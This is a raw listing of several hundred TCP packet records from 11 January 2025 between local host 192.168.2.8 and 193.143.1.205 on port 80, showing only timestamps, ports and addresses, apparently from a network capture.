Jan 11, 2025 04:34:49.528943062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.528992891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.529066086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.532866955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.540622950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.565082073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565138102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565171957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565210104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.565274000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565306902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565340996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565365076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.565376043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565397024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.565502882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565536976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565571070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565582991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.565603971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565608978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.565717936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565752983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565768957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.565853119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565886021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565912008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.565920115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565956116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.565964937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.565993071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566118956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566153049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566186905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566207886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.566209078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.566220999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566332102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.566477060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566631079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566665888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566715956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566747904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566781998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566797972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.566797972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.566819906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566875935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.566912889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566952944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566962004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.566962957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.566998005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.567008972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.567414999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.567481995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.567513943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.567516088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.567564964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.567583084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.567616940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.567651987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.567662954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.567687035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.567820072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.567874908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.567908049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.567941904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.567976952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.568001986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.568028927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.568329096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.568464994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.568497896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.568511963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.568548918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.568582058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.568595886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.568614960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.568662882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.568701982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.568734884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.568780899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.568816900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.568850994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569233894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.569233894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.569236994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569291115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569302082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.569340944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569385052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.569433928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569468975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569503069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569544077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569552898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.569602013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569626093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.569636106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569689989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.569726944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569761038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.569828033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.570177078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.570218086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.570292950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.570327044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.570755005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.578347921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.584429979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.584486008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.584518909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.584518909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.584578037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.617311001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.617360115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.617418051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.617419958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.617458105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.617492914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.617513895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.617530107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.617563963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.617572069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.617602110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.617645025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.619460106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.619496107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.619529963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.619539976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.654741049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.654791117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.654813051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.654853106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.654891968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.654896975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.654927015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.654979944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.654980898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.655018091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.655054092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.655086994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.655086994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.655124903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.655158043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.655191898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.655215979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.655229092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.655240059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.655263901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.655299902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.655339956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.655354977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.689724922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.689743996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.689759970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.689788103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.689831018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.689852953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.689865112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.689878941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.689932108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.690017939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690031052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690045118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690057039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690076113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.690139055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.690165043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690241098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690253973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690268040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690279961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690288067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.690304995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.690423012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690490961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690505028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690512896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.690512896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.690571070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.690623999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690637112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690653086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690665960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690692902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.690716028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.690752983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690845013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690856934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.690895081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.691037893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691051006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691062927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691075087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691099882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.691149950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.691190004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691214085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691227913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691240072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691241026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.691252947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691267014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691278934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691278934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.691292048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691302061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.691317081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.691549063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691570997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691582918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691591978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.691617966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.691751957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691765070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691778898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691840887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.691917896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691935062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691946983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691957951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691968918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691973925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.691982031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.691992044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.692027092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.692229986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692241907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692255020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692267895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692280054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692285061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.692285061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.692291975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692306042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692317963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692332029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692342997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.692374945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.692374945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.692635059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692662954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692675114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692709923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.692802906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692816019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692837954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692850113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.692873955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.692873955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.693094969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693108082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693119049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693130970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693142891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693154097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693166971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693178892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693190098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693216085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.693216085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.693216085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.693216085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.693240881 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.693444967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693480968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693494081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693527937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.693692923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693706989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693718910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693730116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.693732023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693777084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.693881989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693895102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693907976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.693934917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.693965912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.694005013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.698242903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.707804918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.707818985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.707833052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.707874060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.708066940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.708096027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.708283901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.708296061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.708333969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.710112095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.710166931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.745418072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745495081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745537043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745553017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.745577097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745613098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745649099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745671988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.745683908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745723963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745801926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.745801926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.745839119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745872974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745908976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745943069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.745946884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.745980024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.746016026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.746035099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.746052027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.746088028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.746098042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.746124983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.746129990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.746304989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.746319056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.746349096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.746367931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.746400118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.746529102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.764511108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.780355930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780531883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780539989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.780570984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780606985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780641079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780642986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.780695915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780730963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780771017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780772924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.780772924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.780803919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780848980 CET	49705	80	192.168.2.8	193.143.1.205
